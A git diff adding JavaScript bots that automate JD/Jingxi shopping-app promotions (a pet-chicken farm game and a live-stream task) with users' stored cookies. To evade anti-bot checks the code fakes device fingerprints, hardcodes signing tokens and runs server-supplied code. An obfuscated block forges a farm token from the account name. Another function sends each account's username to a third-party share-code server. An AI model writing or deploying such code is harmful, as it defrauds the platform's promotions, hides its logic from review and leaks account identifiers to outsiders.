(data.ret === 1016) { + console.log(`活动太火爆了,还是去买买买吧~`); + $.canHelp = false; + } else { + console.log(JSON.stringify(data)) + } + break; + case 'GetVisitBackInfo': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + $.GetVisitBackInfo = data.data; + } + //console.log(JSON.stringify(data)); + break; + case 'GetVisitBackCabbage': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + console.log(`收取白菜成功,获得${data.data.drawnum}`); + } + break; + case 'GetSignInfo': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + $.GetSignInfo = data.data; + } + break; + case 'GetSignReward': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + console.log(`签到成功`); + } + break; + case 'DoMainTask': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + $.DoMainTask = data.data; + } + break; + case 'GetCardInfo': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + $.GetCardInfo = data.data; + } + break; + case 'DrawCard': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + if (data.data.prizetype === 1) { + console.log(`抽奖获得:1张${cardinfo[data.data.cardtype]}卡片`) + } else if (data.data.prizetype === 2) { + console.log(`抽奖获得:${data.data.rewardinfo.prizevalue / 100}红包`) + } else if (data.data.prizetype === 3) { + console.log(`抽奖获得:${data.data.addcoins}金币`) + } else { + console.log(`抽奖获得:${JSON.stringify(data)}`) + } + } + break; + case 'Combine': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + console.log(`兑换成功,当前小鸡数量:${data.data.currnum}`) + } else { + console.log(`Combine:${JSON.stringify(data)}`) + } + break; + case 'BuyNew': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + const { costcoin, currnum, petid, type } = data.data + $.coins -= costcoin + console.log(`获得一只${petInfo[type].name},宠物id:${petid},当前拥有${currnum}只鸡`) + } else { + console.log(`BuyNew:${JSON.stringify(data)}`) + } + break; + case 'GetUserLoveInfo': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + $.GetUserLoveInfo = data.data.lovelevel + } + break; + case 'DrawLoveHongBao': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + console.log(`领取爱心奖励获得:${data.data.rewardinfo.prizevalue / 100}红包`) + } else { + console.log(`DrawLoveHongBao:${JSON.stringify(data)}`) + } + break; + default: + console.log(JSON.stringify(data)); + } +} +function getGetRequest(type, url) { + const method = `GET`; + let headers = { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Cookie": $.cookie + }; + return { url: url, method: method, headers: headers }; +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + $.newShareCodes = [] + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.inviteCodeList, ...($.res || []), ...(readShareCodeRes.data || [])])]; + } else { + $.newShareCodes = [...new Set([...$.inviteCodeList, ...($.res || [])])]; + } + console.log(`\n您将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function readShareCode() { + return new Promise(async resolve => { + $.get({url: `https://transfer.nz.lu/jxmc`, timeout: 30 * 1000}, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} readShareCode API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`\n随机取20个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(30 * 1000); + resolve() + }) +} +function uploadShareCode(code) { + return new Promise(async resolve => { + $.post({url: `https://transfer.nz.lu/upload/jxmc?code=${code}&ptpin=${encodeURIComponent(encodeURIComponent($.UserName))}`, timeout: 30 * 1000}, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} uploadShareCode API请求失败,请检查网路重试`) + } else { + if (data) { + if (data === 'OK') { + console.log(`已自动提交助力码`) + } else if (data === 'error') { + console.log(`助力码格式错误,乱玩API是要被打屁屁的~`) + } else if (data === 'full') { + console.log(`车位已满,请等待下一班次`) + } else if (data === 'exist') { + console.log(`助力码已经提交过了~`) + } else if (data === 'not in whitelist') { + console.log(`提交助力码失败,此用户不在白名单中`) + } else { + console.log(`未知错误:${data}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(30 * 1000); + resolve() + }) +} + +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + //'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + // console.log(`获取签名参数成功!`) + // console.log(`fp: ${$.fingerprint}`) + // console.log(`token: ${$.token}`) + // console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + // console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} + +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--;) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0, 16) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: $.cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!$.cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=$.cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; +function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_live.js b/jd_live.js new file mode 100644 index 0000000..bc7614a --- /dev/null +++ b/jd_live.js @@ -0,0 +1,393 @@ +/* +京东直播 +活动结束时间未知 +活动入口:京东APP首页-京东直播 +地址:https://h5.m.jd.com/babelDiy/Zeus/2zwQnu4WHRNfqMSdv69UPgpZMnE2/index.html/ +随机定时跑一次 或者自行定时 +5 12 + */ + +const $ = new Env('京东直播'); +const notify = $.isNode() ? require('./sendNotify') : ''; + +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 + +let cookiesArr = [], cookie = '', message; +let uuid +let jdPandaToken = ''; +jdPandaToken = $.isNode() ? (process.env.PandaToken ? process.env.PandaToken : `${jdPandaToken}`) : ($.getdata('PandaToken') ? $.getdata('PandaToken') : `${jdPandaToken}`); + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; 